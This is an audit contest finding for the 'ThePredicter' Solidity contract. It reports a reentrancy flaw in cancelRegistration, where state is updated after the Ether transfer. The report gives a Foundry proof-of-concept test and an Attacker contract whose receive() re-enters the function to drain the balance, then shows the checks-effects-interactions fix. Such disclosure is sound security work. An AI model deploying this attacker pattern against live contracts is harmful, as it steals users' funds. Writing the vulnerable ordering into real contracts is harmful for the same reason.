First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `ThePredictor::cancelRegistration`, allowing attacker to drain funds

4lifemen

Summary

ThePredictor::cancelRegistration contract contains a vulnerability that allows a reentrancy attack. The state is updated after transferring Ether to the caller, allowing an attacker to repeatedly call the function and withdraw funds multiple times before the state change takes effect.

Vulnerability Details

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

Proof of code

function test_CancelRegistrationCanReentrance() public {
address stranger2 = makeAddr("stranger2");
​
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
Attacker attacker = new Attacker(address(thePredicter));
vm.startPrank(address(attacker));
vm.deal(address(attacker), 1 ether);
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
vm.stopPrank();
​
assertEq(address(thePredicter).balance, 0);
}
​
// Attacker contract
contract Attacker {
ThePredicter predictor;
​
constructor(address _predictor) {
predictor = ThePredicter(_predictor);
}
​
function drainFund() public {
predictor.cancelRegistration();
}
​
receive() external payable {
if (address(predictor).balance > 0) {
predictor.cancelRegistration();
}
}
}

Impact

The attacker can exploit this vulnerability to repeatedly withdraw the entrance fee, resulting in significant financial losses for the contract. This could drain all available funds from the contract. This will also severely impact the protocol's functionality.

Tools Used

  • Manual review

Recommendations

Follow CEI(Check-effect-interact) pattern. Update the playerStatus[msg.sender] state before transferring funds to prevent attacker from calling the transfer fund again

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.